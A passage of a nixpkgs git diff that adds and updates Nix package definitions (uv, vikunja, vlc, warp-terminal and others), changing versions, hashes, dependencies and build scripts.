"crossbeam-utils", + "flate2", +] diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix new file mode 100644 index 0000000000000..1f4acf3a2f9d8 --- /dev/null +++ b/pkgs/by-name/uv/uv/package.nix @@ -0,0 +1,58 @@ +{ lib +, cmake +, darwin +, fetchFromGitHub +, openssl +, pkg-config +, rustPlatform +, stdenv +}: + +rustPlatform.buildRustPackage rec { + pname = "uv"; + version = "0.1.15"; + + src = fetchFromGitHub { + owner = "astral-sh"; + repo = "uv"; + rev = version; + hash = "sha256-tTR6Z23CCaSB5cVDhj3EKoUYNplHpguhi6LIMmyiqAc="; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "async_zip-0.0.16" = "sha256-M94ceTCtyQc1AtPXYrVGplShQhItqZZa/x5qLiL+gs0="; + "pubgrub-0.2.1" = "sha256-p6RQ0pmatTnwp1s37ZktkhwakPTTehMlI3H5JUzwVrI="; + }; + }; + + nativeBuildInputs = [ + cmake + pkg-config + ]; + + buildInputs = [ + openssl + ] ++ lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.SystemConfiguration + ]; + + cargoBuildFlags = [ "--package" "uv" ]; + + # Tests require network access + doCheck = false; + + env = { + OPENSSL_NO_VENDOR = true; + }; + + meta = with lib; { + description = "An extremely fast Python package installer and resolver, written in Rust"; + homepage = "https://github.com/astral-sh/uv"; + changelog = "https://github.com/astral-sh/uv/blob/${src.rev}/CHANGELOG.md"; + license = with licenses; [ asl20 mit ]; + maintainers = with maintainers; [ marsam ]; + mainProgram = "uv"; + }; +} diff --git a/pkgs/by-name/ux/uxn/package.nix b/pkgs/by-name/ux/uxn/package.nix index 556b2682a5836..2dc429a126bdc 100644 --- a/pkgs/by-name/ux/uxn/package.nix +++ b/pkgs/by-name/ux/uxn/package.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "uxn"; - version = "unstable-2024-02-07"; + version = "1.0-unstable-2024-02-15"; src = fetchFromSourcehut { owner = "~rabbits"; repo = "uxn"; - rev = "300a3d7b3ed399721cef59e9ed9efe8a1d4e0f6f"; - hash = "sha256-uwHXa4GhXNJHroQG8t3VQggvdCA3G4/1d/XVfsgeI7E="; + rev = "c37d2cd75c855d0932a93cd8fdadd1db00b05e48"; + hash = "sha256-O8XN0+ixo2xMXtJkEoJAqrKZ1M4s4YoHSxKWGOUyl1k="; }; outputs = [ "out" "projects" ]; @@ -64,5 +64,6 @@ stdenv.mkDerivation (finalAttrs: { maintainers = with lib.maintainers; [ AndersonTorres ]; mainProgram = "uxnemu"; inherit (SDL2.meta) platforms; + broken = stdenv.isDarwin; }; }) diff --git a/pkgs/by-name/va/vault-unseal/package.nix b/pkgs/by-name/va/vault-unseal/package.nix new file mode 100644 index 0000000000000..30aed56126238 --- /dev/null +++ b/pkgs/by-name/va/vault-unseal/package.nix @@ -0,0 +1,30 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: + +let + version = "0.5.1"; +in +buildGoModule { + pname = "vault-unseal"; + inherit version; + + src = fetchFromGitHub { + owner = "lrstanley"; + repo = "vault-unseal"; + rev = "v${version}"; + hash = "sha256-vjU4080uCId/73F7CJKDtk9b1siCPIZOaSczKMNf0LE="; + }; + + vendorHash = "sha256-SEA74Tk0R3BHyLMZEgKatfLGbX7l8Zyn/JkQVfEckI4="; + + meta = { + changelog = "https://github.com/lrstanley/vault-unseal/releases/tag/v${version}"; + description = "Auto-unseal utility for Hashicorp Vault"; + homepage = "https://github.com/lrstanley/vault-unseal"; + license = lib.licenses.mit; + mainProgram = "vault-unseal"; + maintainers = with lib.maintainers; [ mjm ]; + }; +} diff --git a/pkgs/by-name/vc/vcpkg/package.nix b/pkgs/by-name/vc/vcpkg/package.nix index 338f8da7c1d2e..e6642b1ba3a7c 100644 --- a/pkgs/by-name/vc/vcpkg/package.nix +++ b/pkgs/by-name/vc/vcpkg/package.nix @@ -7,13 +7,13 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "vcpkg"; - version = "2024.01.12"; + version = "2024.02.14"; src = fetchFromGitHub { owner = "microsoft"; repo = "vcpkg"; rev = finalAttrs.version; - hash = "sha256-oIx/eMceFN2q7EfPCR6nFZAw5HK3U6qbyu7z9H1aJbU="; + hash = "sha256-qYRNf2NMvYkxq7CRbJIqC7HAhznTNK7zW6JCsP4+v6M="; }; installPhase = let diff --git a/pkgs/by-name/ve/vesktop/package.nix b/pkgs/by-name/ve/vesktop/package.nix index e29007a1876c1..26c9efec448ae 100644 --- a/pkgs/by-name/ve/vesktop/package.nix +++ b/pkgs/by-name/ve/vesktop/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , stdenvNoCC -, gcc13Stdenv , fetchFromGitHub , substituteAll , makeWrapper @@ -123,7 +122,7 @@ stdenv.mkDerivation (finalAttrs: { libpulseaudio libnotify pipewire - gcc13Stdenv.cc.cc.lib + stdenv.cc.cc.lib ] ++ lib.optional withTTS speechd); in '' diff --git a/pkgs/servers/nosql/victoriametrics/default.nix b/pkgs/by-name/vi/victoriametrics/package.nix index f694aeef565df..f441e03d83712 100644 --- a/pkgs/servers/nosql/victoriametrics/default.nix +++ b/pkgs/by-name/vi/victoriametrics/package.nix @@ -2,17 +2,35 @@ buildGoModule rec { pname = "VictoriaMetrics"; - version = "1.97.1"; + version = "1.99.0"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - hash = "sha256-zaRXvktHqsM/pZd7DsCAXCSI2jaPZ3iKHLQqDILZ9pc="; + hash = "sha256-IHUmxdCOzvA2JL06k/ei6/OTVWHTL1TiKKYZB1hgqyA="; }; vendorHash = null; + subPackages = [ + "app/victoria-logs" + "app/victoria-metrics" + "app/vlinsert" + "app/vlselect" + "app/vlstorage" + "app/vmagent" + "app/vmalert-tool" + "app/vmauth" + "app/vmctl" + "app/vminsert" + "app/vmselect" + "app/vmstorage" + "app/vmbackup" + "app/vmrestore" + "app/vmui" + ]; + postPatch = '' # main module (github.com/VictoriaMetrics/VictoriaMetrics) does not contain package # github.com/VictoriaMetrics/VictoriaMetrics/app/vmui/packages/vmui/web diff --git a/pkgs/by-name/vi/vikunja/package.nix b/pkgs/by-name/vi/vikunja/package.nix new file mode 100644 index 0000000000000..cc9891f3ccd15 --- /dev/null +++ b/pkgs/by-name/vi/vikunja/package.nix @@ -0,0 +1,166 @@ +{ lib, fetchFromGitHub, stdenv, stdenvNoCC, nodePackages, buildGoModule, jq, mage, writeShellScriptBin, nixosTests, buildNpmPackage, moreutils, cacert }: + +let + version = "0.23.0"; + src = fetchFromGitHub { + owner = "go-vikunja"; + repo = "vikunja"; + rev = "v${version}"; + hash = "sha256-DGdJ/qO86o4LDB2Soio6/zd5S0su6ffrtT+iOn1eQnA="; + }; + + frontend = stdenv.mkDerivation (finalAttrs: { + pname = "vikunja-frontend"; + inherit version src; + + postPatch = '' + cd frontend + ''; + + pnpmDeps = stdenvNoCC.mkDerivation { + pname = "${finalAttrs.pname}-pnpm-deps"; + inherit (finalAttrs) src version; + + nativeBuildInputs = [ + jq + nodePackages.pnpm + moreutils + cacert + ]; + + pnpmPatch = builtins.toJSON { + pnpm.supportedArchitectures = { + os = [ "linux" ]; + cpu = [ "x64" "arm64" ]; + }; + }; + + postPatch = '' + cd frontend + mv package.json package.json.orig + jq --raw-output ". * $pnpmPatch" package.json.orig > package.json + ''; + + # https://github.com/NixOS/nixpkgs/blob/763e59ffedb5c25774387bf99bc725df5df82d10/pkgs/applications/misc/pot/default.nix#L56 + installPhase = '' + export HOME=$(mktemp -d) + + pnpm config set store-dir $out + pnpm install --frozen-lockfile --ignore-script + + rm -rf $out/v3/tmp + for f in $(find $out -name "*.json"); do + sed -i -E -e 's/"checkedAt":[0-9]+,//g' $f + jq --sort-keys . $f | sponge $f + done + ''; + + dontBuild = true; + dontFixup = true; + outputHashMode = "recursive"; + outputHash = { + x86_64-linux = "sha256-ybAkXe2/VhGZhr59ZQOcQ+SI2a204e8uPjyE40xUVwU="; + aarch64-linux = "sha256-2iURs6JtI/b2+CnLwhog1X5hSFFO6OmmgFRuTbMjH+k="; + }.${stdenv.system} or (throw "Unsupported system: ${stdenv.system}"); + }; + + nativeBuildInputs = [ + nodePackages.pnpm + nodePackages.nodejs + ]; + + doCheck = true; + + preBuild = '' + export HOME=$(mktemp -d) + + pnpm config set store-dir ${finalAttrs.pnpmDeps} + pnpm install --offline --frozen-lockfile --ignore-script + patchShebangs node_modules/{*,.*} + ''; + + postBuild = '' + pnpm run build + ''; + + checkPhase = '' + pnpm run test:unit --run + ''; + + installPhase = '' + cp -r dist/ $out + ''; + }); + + # Injects a `t.Skip()` into a given test since there's apparently no other way to skip tests here. + skipTest = lineOffset: testCase: file: + let + jumpAndAppend = lib.concatStringsSep ";" (lib.replicate (lineOffset - 1) "n" ++ [ "a" ]); + in '' + sed -i -e '/${testCase}/{ + ${jumpAndAppend} t.Skip(); + }' ${file} + ''; +in +buildGoModule { + inherit src version; + pname = "vikunja"; + + nativeBuildInputs = + let + fakeGit = writeShellScriptBin "git" '' + if [[ $@ = "describe --tags --always --abbrev=10" ]]; then + echo "${version}" + else + >&2 echo "Unknown command: $@" + exit 1 + fi + ''; + in + [ fakeGit mage ]; + + vendorHash = "sha256-d4AeQEAtPqMDe5a5aKhCe3i3pDXAMZJkJXxfcAFTx7A="; + + prePatch = '' + cp -r ${frontend} frontend/dist + ''; + + postConfigure = '' + # These tests need internet, so we skip them. + ${skipTest 1 "TestConvertTrelloToVikunja" "pkg/modules/migration/trello/trello_test.go"} + ${skipTest 1 "TestConvertTodoistToVikunja" "pkg/modules/migration/todoist/todoist_test.go"} + ''; + + buildPhase = '' + runHook preBuild + + # Fixes "mkdir /homeless-shelter: permission denied" - "Error: error compiling magefiles" during build + export HOME=$(mktemp -d) + mage build:build + + runHook postBuild + ''; + + checkPhase = '' + mage test:unit + mage test:integration + ''; + + installPhase = '' + runHook preInstall + install -Dt $out/bin vikunja + runHook postInstall + ''; + + passthru.tests.vikunja = nixosTests.vikunja; + + meta = { + changelog = "https://kolaente.dev/vikunja/api/src/tag/v${version}/CHANGELOG.md"; + description = "The Todo-app to organize your life."; + homepage = "https://vikunja.io/"; + license = lib.licenses.agpl3Plus; + maintainers = with lib.maintainers; [ leona ]; + mainProgram = "vikunja"; + platforms = lib.platforms.linux; + }; +} diff --git a/pkgs/by-name/vi/vinegar/package.nix b/pkgs/by-name/vi/vinegar/package.nix index a20b0ff024ee9..19dd302094435 100644 --- a/pkgs/by-name/vi/vinegar/package.nix +++ b/pkgs/by-name/vi/vinegar/package.nix @@ -8,37 +8,42 @@ , xorg , wayland , vulkan-headers -, wineWowPackages +, wine64Packages , fetchpatch }: let # wine-staging doesn't support overrideAttrs for now - wine = wineWowPackages.stagingFull.overrideDerivation (oldAttrs: { + wine = wine64Packages.staging.overrideDerivation (oldAttrs: { patches = - (oldAttrs.patches or [ ]) + (oldAttrs.patches or []) ++ [ # upstream issue: https://bugs.winehq.org/show_bug.cgi?id=55604 # Here are the currently applied patches for Roblox to run under WINE: (fetchpatch { - name = "vinegar-wine-segrevert.patch"; - url = "https://raw.githubusercontent.com/flathub/org.vinegarhq.Vinegar/8fc153c492542a522d6cc2dff7d1af0e030a529a/patches/wine/temp.patch"; - hash = "sha256-AnEBBhB8leKP0xCSr6UsQK7CN0NDbwqhe326tJ9dDjc="; + name = "vinegar-wine-segregrevert.patch"; + url = "https://raw.githubusercontent.com/flathub/org.vinegarhq.Vinegar/e24cb9dfa996bcfeaa46504c0375660fe271148d/patches/wine/segregrevert.patch"; + hash = "sha256-+3Nld81nG3GufI4jAF6yrWfkJmsSCOku39rx0Hov29c="; + }) + (fetchpatch { + name = "vinegar-wine-mouselock.patch"; + url = "https://raw.githubusercontent.com/flathub/org.vinegarhq.Vinegar/e24cb9dfa996bcfeaa46504c0375660fe271148d/patches/wine/mouselock.patch"; + hash = "sha256-0AGA4AQbxTL5BGVbm072moav7xVA3zpotYqM8pcEDa4="; }) ]; }); in buildGoModule rec { pname = "vinegar"; - version = "1.6.1"; + version = "1.7.3"; src = fetchFromGitHub { owner = "vinegarhq"; repo = "vinegar"; rev = "v${version}"; - hash = "sha256-uRdWE5NwRVSuUZyU5B5u5DfJOxu/gUqwM682eORTDOs="; + hash = "sha256-aKL+4jw/uMbbvLRCBHstCTrcQ1PTYSCwMNgXTvSvMeY="; }; - vendorHash = "sha256-Ex6PRd3rD2jbLXlY36koNvZF3P+gAZTE9hExIfOw9CE="; + vendorHash = "sha256-OaMfWecOPQh6quXjYkZLyBDHZ9TINSA7Ue/Y0sz5ZYY="; nativeBuildInputs = [ pkg-config makeBinaryWrapper ]; buildInputs = [ libGL libxkbcommon xorg.libX11 xorg.libXcursor xorg.libXfixes wayland vulkan-headers wine ]; diff --git a/pkgs/by-name/vi/virtio-win/package.nix b/pkgs/by-name/vi/virtio-win/package.nix index 5c1bb96b9e254..26c60404a86a4 100644 --- a/pkgs/by-name/vi/virtio-win/package.nix +++ b/pkgs/by-name/vi/virtio-win/package.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "virtio-win"; - version = "0.1.240-1"; + version = "0.1.248-1"; src = fetchurl { url = "https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-${version}/virtio-win.iso"; - hash = "sha256-69SCWGaPf3jgJu0nbCip0Z2D4CD/oICtaZENyGu8vMY="; + hash = "sha256-1bVznPKX8FONJj4wZ41aCbukcKfGvL2N/3TkQVPxZUk="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/video/vlc/default.nix b/pkgs/by-name/vl/vlc/package.nix index 2b5c86b0efb29..9b89cca9a192b 100644 --- a/pkgs/applications/video/vlc/default.nix +++ b/pkgs/by-name/vl/vlc/package.nix @@ -1,8 +1,4 @@ { lib -, stdenv -, pkgsBuildBuild -, fetchurl -, fetchpatch , SDL , SDL_image , a52dec @@ -11,6 +7,8 @@ , avahi , dbus , faad2 +, fetchpatch +, fetchurl , ffmpeg , flac , fluidsynth @@ -48,6 +46,7 @@ , libpulseaudio , libraw1394 , librsvg +, libsForQt5 , libsamplerate , libspatialaudio , libssh2 @@ -65,23 +64,20 @@ , ncurses , perl , pkg-config +, pkgsBuildBuild , protobuf -, qtbase -, qtsvg -, qtwayland -, qtx11extras , removeReferencesTo , samba , schroedinger , speex , srt +, stdenv , systemd , taglib , unzip , wayland , wayland-protocols , wrapGAppsHook -, wrapQtAppsHook , xcbutilkeysyms , zlib @@ -98,7 +94,7 @@ # networking.firewall.allowedTCPPorts = [ 8010 ]; let - inherit (lib) optionalString optional optionals; + inherit (lib) optionalString optionals; in stdenv.mkDerivation (finalAttrs: { pname = "${optionalString onlyLibVLC "lib"}vlc"; @@ -118,8 +114,8 @@ stdenv.mkDerivation (finalAttrs: { unzip wrapGAppsHook ] - ++ optional chromecastSupport protobuf - ++ optionals withQt5 [ wrapQtAppsHook ] + ++ optionals chromecastSupport [ protobuf ] + ++ optionals withQt5 [ libsForQt5.wrapQtAppsHook ] ++ optionals waylandSupport [ wayland wayland-protocols @@ -191,8 +187,8 @@ stdenv.mkDerivation (finalAttrs: { xcbutilkeysyms zlib ] - ++ optional (!stdenv.hostPlatform.isAarch && !onlyLibVLC) live555 - ++ optional jackSupport libjack2 + ++ optionals (!stdenv.hostPlatform.isAarch && !onlyLibVLC) [ live555 ] + ++ optionals jackSupport [ libjack2 ] ++ optionals chromecastSupport [ libmicrodns protobuf ] ++ optionals skins2Support [ freetype @@ -201,8 +197,12 @@ stdenv.mkDerivation (finalAttrs: { libXpm ] ++ optionals waylandSupport [ wayland wayland-protocols ] - ++ optionals withQt5 [ qtbase qtsvg qtx11extras ] - ++ optional (waylandSupport && withQt5) qtwayland; + ++ optionals withQt5 (with libsForQt5; [ + qtbase + qtsvg + qtx11extras + ]) + ++ optionals (waylandSupport && withQt5) [ libsForQt5.qtwayland ]; env = { # vlc depends on a c11-gcc wrapper script which we don't have so we need to @@ -218,51 +218,37 @@ stdenv.mkDerivation (finalAttrs: { # upstream issue: https://code.videolan.org/videolan/vlc/-/issues/25473 (fetchpatch { url = "https://code.videolan.org/videolan/vlc/uploads/eb1c313d2d499b8a777314f789794f9d/0001-Add-lssl-and-lcrypto-to-liblive555_plugin_la_LIBADD.patch"; - sha256 = "0kyi8q2zn2ww148ngbia9c7qjgdrijf4jlvxyxgrj29cb5iy1kda"; + hash = "sha256-qs3gY1ksCZlf931TSZyMuT2JD0sqrmcRCZwL+wVG0U8="; }) ]; postPatch = '' - substituteInPlace modules/text_renderer/freetype/platform_fonts.h --replace \ - /usr/share/fonts/truetype/freefont ${freefont_ttf}/share/fonts/truetype - '' + lib.optionalString (!stdenv.hostPlatform.canExecute stdenv.buildPlatform) '' - # Upstream luac can't cross compile, so we have to install the lua - # sources, not bytecode: - # https://www.lua.org/wshop13/Jericke.pdf#page=39 - substituteInPlace share/Makefile.am --replace $'.luac \\\n' $'.lua \\\n' + substituteInPlace modules/text_renderer/freetype/platform_fonts.h \ + --replace \ + /usr/share/fonts/truetype/freefont \ + ${freefont_ttf}/share/fonts/truetype + '' + # Upstream luac can't cross compile, so we have to install the lua sources + # instead of bytecode: + # https://www.lua.org/wshop13/Jericke.pdf#page=39 + + lib.optionalString (!stdenv.hostPlatform.canExecute stdenv.buildPlatform) '' + substituteInPlace share/Makefile.am \ + --replace $'.luac \\\n' $'.lua \\\n' ''; enableParallelBuilding = true; dontWrapGApps = true; # to prevent double wrapping of Qtwrap and Gwrap - preFixup = '' - qtWrapperArgs+=("''${gappsWrapperArgs[@]}") - ''; - - # - Touch plugins (plugins cache keyed off mtime and file size: - # https://github.com/NixOS/nixpkgs/pull/35124#issuecomment-370552830 - # - Remove references to the Qt development headers (used in error messages) - # - # pkgsBuildBuild is used here because buildPackages.libvlc somehow - # depends on a qt5.qttranslations that doesn't build, even though it - # should be the same as pkgsBuildBuild.qt5.qttranslations. - postFixup = '' - find $out/lib/vlc/plugins -exec touch -d @1 '{}' ';' - ${if stdenv.buildPlatform.canExecute stdenv.hostPlatform then "$out" else pkgsBuildBuild.libvlc}/lib/vlc/vlc-cache-gen $out/vlc/plugins - '' + optionalString withQt5 '' - remove-references-to -t "${qtbase.dev}" $out/lib/vlc/plugins/gui/libqt_plugin.so - ''; - # Most of the libraries are auto-detected so we don't need to set a bunch of # "--enable-foo" flags here configureFlags = [ "--enable-srt" # Explicit enable srt to ensure the patch is applied. "--with-kde-solid=$out/share/apps/solid/actions" ] - ++ optional onlyLibVLC "--disable-vlc" - ++ optional skins2Support "--enable-skins2" - ++ optional waylandSupport "--enable-wayland" + ++ optionals onlyLibVLC [ "--disable-vlc" ] + ++ optionals skins2Support [ "--enable-skins2" ] + ++ optionals waylandSupport [ "--enable-wayland" ] ++ optionals chromecastSupport [ "--enable-sout" "--enable-chromecast" @@ -285,6 +271,24 @@ stdenv.mkDerivation (finalAttrs: { cp -R share/hrtfs $out/share/vlc ''; + preFixup = '' + qtWrapperArgs+=("''${gappsWrapperArgs[@]}") + ''; + + # - Touch plugins (plugins cache keyed off mtime and file size: + # https://github.com/NixOS/nixpkgs/pull/35124#issuecomment-370552830 + # - Remove references to the Qt development headers (used in error messages) + # + # pkgsBuildBuild is used here because buildPackages.libvlc somehow + # depends on a qt5.qttranslations that doesn't build, even though it + # should be the same as pkgsBuildBuild.qt5.qttranslations. + postFixup = '' + find $out/lib/vlc/plugins -exec touch -d @1 '{}' ';' + ${if stdenv.buildPlatform.canExecute stdenv.hostPlatform then "$out" else pkgsBuildBuild.libvlc}/lib/vlc/vlc-cache-gen $out/vlc/plugins + '' + optionalString withQt5 '' + remove-references-to -t "${libsForQt5.qtbase.dev}" $out/lib/vlc/plugins/gui/libqt_plugin.so + ''; + meta = { description = "Cross-platform media player and streaming server"; homepage = "https://www.videolan.org/vlc/"; diff --git a/pkgs/development/tools/build-managers/waf/hook.nix b/pkgs/by-name/wa/waf/hook.nix index ac497d2278314..ac497d2278314 100644 --- a/pkgs/development/tools/build-managers/waf/hook.nix +++ b/pkgs/by-name/wa/waf/hook.nix diff --git a/pkgs/development/tools/build-managers/waf/default.nix b/pkgs/by-name/wa/waf/package.nix index de4022ed7d708..515f3ae034218 100644 --- a/pkgs/development/tools/build-managers/waf/default.nix +++ b/pkgs/by-name/wa/waf/package.nix @@ -73,7 +73,7 @@ stdenv.mkDerivation (finalAttrs: { changelog = "https://gitlab.com/ita1024/waf/blob/${finalAttrs.version}/ChangeLog"; license = lib.licenses.bsd3; mainProgram = "waf"; - maintainers = with lib.maintainers; [ AndersonTorres vrthra ]; + maintainers = with lib.maintainers; [ AndersonTorres ]; inherit (python3.meta) platforms; sourceProvenance = [ lib.sourceTypes.fromSource ]; }; diff --git a/pkgs/development/tools/build-managers/waf/setup-hook.sh b/pkgs/by-name/wa/waf/setup-hook.sh index d3e2bf97e6823..d3e2bf97e6823 100644 --- a/pkgs/development/tools/build-managers/waf/setup-hook.sh +++ b/pkgs/by-name/wa/waf/setup-hook.sh diff --git a/pkgs/by-name/wa/warp-terminal/package.nix b/pkgs/by-name/wa/warp-terminal/package.nix index 8544439986ddd..972afafda5676 100644 --- a/pkgs/by-name/wa/warp-terminal/package.nix +++ b/pkgs/by-name/wa/warp-terminal/package.nix @@ -1,15 +1,77 @@ { lib , stdenvNoCC +, stdenv , fetchurl +, autoPatchelfHook , undmg +, zstd +, curl +, fontconfig +, libglvnd +, libxkbcommon +, vulkan-loader +, xdg-utils +, xorg +, zlib }: -stdenvNoCC.mkDerivation (finalAttrs: { - pname = "warp-terminal"; - version = "0.2023.12.05.08.02.stable_00"; +let +pname = "warp-terminal"; +versions = lib.importJSON ./versions.json; +passthru.updateScript = ./update.sh; + +linux = stdenv.mkDerivation (finalAttrs: { + inherit pname meta passthru; + inherit (versions.linux) version; + src = fetchurl { + inherit (versions.linux) hash; + url = "https://releases.warp.dev/stable/v${finalAttrs.version}/warp-terminal-v${finalAttrs.version}-1-x86_64.pkg.tar.zst"; + }; + + sourceRoot = "."; + + postPatch = '' + substituteInPlace usr/bin/warp-terminal \ + --replace-fail /opt/ $out/opt/ + ''; + + nativeBuildInputs = [ autoPatchelfHook zstd ]; + + buildInputs = [ + curl + fontconfig + stdenv.cc.cc.lib # libstdc++.so libgcc_s.so + zlib + ]; + + runtimeDependencies = [ + libglvnd # for libegl + libxkbcommon + stdenv.cc.libc + vulkan-loader + xdg-utils + xorg.libX11 + xorg.libxcb + xorg.libXcursor + xorg.libXi + ]; + + installPhase = '' + runHook preInstall + + mkdir $out + cp -r opt usr/* $out + + runHook postInstall + ''; +}); + +darwin = stdenvNoCC.mkDerivation (finalAttrs: { + inherit pname meta passthru; + inherit (versions.darwin) version; src = fetchurl { + inherit (versions.darwin) hash; url = "https://releases.warp.dev/stable/v${finalAttrs.version}/Warp.dmg"; - hash = "sha256-9olAmczIPRXV15NYCOYmwuEmJ7lMeaQRTTfukaYXMR0="; }; sourceRoot = "."; @@ -24,13 +86,18 @@ stdenvNoCC.mkDerivation (finalAttrs: { runHook postInstall ''; +}); - meta = with lib; { - description = "Rust-based terminal"; - homepage = "https://www.warp.dev"; - license = licenses.unfree; - sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; - maintainers = with maintainers; [ emilytrau Enzime ]; - platforms = platforms.darwin; - }; -}) +meta = with lib; { + description = "Rust-based terminal"; + homepage = "https://www.warp.dev"; + license = licenses.unfree; + sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; + maintainers = with maintainers; [ emilytrau Enzime imadnyc ]; + platforms = platforms.darwin ++ [ "x86_64-linux" ]; +}; + +in +if stdenvNoCC.isDarwin +then darwin +else linux diff --git a/pkgs/by-name/wa/warp-terminal/update.sh b/pkgs/by-name/wa/warp-terminal/update.sh new file mode 100755 index 0000000000000..d60e0f1f5aa90 --- /dev/null +++ b/pkgs/by-name/wa/warp-terminal/update.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i bash -p curl jq moreutils nix-prefetch +#shellcheck shell=bash +set -eu -o pipefail + +dirname="$(dirname "$0")" + +err() { + echo "$*" >&2 +} + +json_get() { + jq -r "$1" < "$dirname/versions.json" +} + +json_set() { + jq --arg x "$2" "$1 = \$x" < "$dirname/versions.json" | sponge "$dirname/versions.json" +} + +resolve_url() { + local pkg sfx url + local -i i max_redirects + case "$1" in + darwin) + pkg=macos + sfx=dmg + ;; + linux) + pkg=pacman + sfx=pkg.tar.zst + ;; + *) + err "Unexpected download type: $1" + exit 1 + ;; + esac + url="https://app.warp.dev/download?package=${pkg}" + ((max_redirects = 15)) + for ((i = 0; i < max_redirects; i++)); do + url=$(curl -s -o /dev/null -w '%{redirect_url}' "${url}") + [[ ${url} != *.${sfx} ]] || break + done + ((i < max_redirects)) || { err "too many redirects"; exit 1; } + echo "${url}" +} + +get_version() { + echo "$1" | grep -oP -m 1 '(?<=/v)[\d.\w]+(?=/)' +} + +for sys in darwin linux; do + url=$(resolve_url ${sys}) + version=$(get_version "${url}") + if [[ ${version} != "$(json_get ".${sys}.version")" ]]; + then + sri=$(nix hash to-sri --type sha256 "$(nix-prefetch-url --type sha256 "${url}")") + json_set ".${sys}.version" "${version}" + json_set ".${sys}.hash" "${sri}" + fi +done diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json new file mode 100644 index 0000000000000..99fdfa65c73f2 --- /dev/null +++ b/pkgs/by-name/wa/warp-terminal/versions.json @@ -0,0 +1,10 @@ +{ + "darwin" : { + "hash" : "sha256-tFtoD8URMFfJ3HRkyKStuDStFkoRIV97y9kV4pbDPro=", + "version" : "0.2024.02.20.08.01.stable_01" + }, + "linux" : { + "hash" : "sha256-L8alnqSE4crrDozRfPaAAMkLc+5+8d9XBKd5ddsxmD0=", + "version" : "0.2024.02.20.08.01.stable_01" + } +} diff --git a/pkgs/by-name/wa/waycheck/package.nix b/pkgs/by-name/wa/waycheck/package.nix index 0dc22a3d50af7..cb78db2d6e38c 100644 --- a/pkgs/by-name/wa/waycheck/package.nix +++ b/pkgs/by-name/wa/waycheck/package.nix @@ -12,14 +12,14 @@ stdenv.mkDerivation (finalAttrs: { pname = "waycheck"; - version = "1.1.0"; + version = "1.1.1"; src = fetchFromGitLab { domain = "gitlab.freedesktop.org"; owner = "serebit"; repo = "waycheck"; rev = "v${finalAttrs.version}"; - hash = "sha256-y8fuy2ed2yPRiqusMZBD7mzFBDavmdByBzEaI6P5byk="; + hash = "sha256-kwkdTMA15oJHz9AXEkBGeuzYdEUpNuv/xnhzoKOHCE4="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix b/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix new file mode 100644 index 0000000000000..849b7c7a090ec --- /dev/null +++ b/pkgs/by-name/wa/wayland-pipewire-idle-inhibit/package.nix @@ -0,0 +1,42 @@ +{ lib +, fetchFromGitHub +, pipewire +, pkg-config +, rustPlatform +, wayland +, wayland-protocols +}: +rustPlatform.buildRustPackage rec { + pname = "wayland-pipewire-idle-inhibit"; + version = "0.4.5"; + + src = fetchFromGitHub { + owner = "rafaelrc7"; + repo = "wayland-pipewire-idle-inhibit"; + rev = "v${version}"; + sha256 = "sha256-VOP1VOeXOyjn+AJfSHzVNT0l+rgm63ev9p4uTfMfYY0="; + }; + + cargoSha256 = "sha256-7XuDZ57+F8Ot5oNO9/BXjFljNmoMgNgURfmPEIy2PHo="; + + nativeBuildInputs = [ + pkg-config + rustPlatform.bindgenHook + ]; + + buildInputs = [ + pipewire + wayland + wayland-protocols + ]; + + meta = with lib; { + description = "Suspends automatic idling of Wayland compositors when media is being played through Pipewire."; + homepage = "https://github.com/rafaelrc7/wayland-pipewire-idle-inhibit/"; + license = licenses.gpl3Only; + platforms = platforms.linux; + maintainers = with maintainers; [ rafameou ]; + mainProgram = "wayland-pipewire-idle-inhibit"; + }; +} + diff --git a/pkgs/by-name/we/weasis/package.nix b/pkgs/by-name/we/weasis/package.nix index 4e15d43524fb2..0637fea1c58f2 100644 --- a/pkgs/by-name/we/weasis/package.nix +++ b/pkgs/by-name/we/weasis/package.nix @@ -14,12 +14,12 @@ let in stdenv.mkDerivation rec { pname = "weasis"; - version = "4.2.1"; + version = "4.3.0"; # Their build instructions indicate to use the packaging script src = fetchzip { url = "https://github.com/nroduit/Weasis/releases/download/v${version}/weasis-native.zip"; - hash = "sha256-HDlylpe8cHZRaIXndfGh6XmUn8o2PQB1Av7hLCp679U="; + hash = "sha256-4Ew7RG8eM8pa6AiblREgt03fGOQVKVzkQMR87GIJIVM="; stripRoot = false; }; diff --git a/pkgs/by-name/wh/whistle/package.nix b/pkgs/by-name/wh/whistle/package.nix index 3cf9fc45dc9cf..3963889583ec5 100644 --- a/pkgs/by-name/wh/whistle/package.nix +++ b/pkgs/by-name/wh/whistle/package.nix @@ -2,16 +2,16 @@ buildNpmPackage rec { pname = "whistle"; - version = "2.9.64"; + version = "2.9.65"; src = fetchFromGitHub { owner = "avwo"; repo = "whistle"; rev = "v${version}"; - hash = "sha256-dK9oaTm4l170COZ8Gm6Suc821DPUYg8euIo6l+EQYEo="; + hash = "sha256-vF81Nt0gx3k7b6VO6aBpeUSnZ8Op91dYOGZRO9cdleM="; }; - npmDepsHash = "sha256-0YnWmCI0UVQPegwHEKiCmow5LA4kjQVKctWRwHW0Ufg="; + npmDepsHash = "sha256-LzetbeIqfcFbLzie4GXkNOGLTdwqYMnwZ236V5R2TNc="; dontNpmBuild = true; diff --git a/pkgs/by-name/wi/wiremock/package.nix b/pkgs/by-name/wi/wiremock/package.nix index 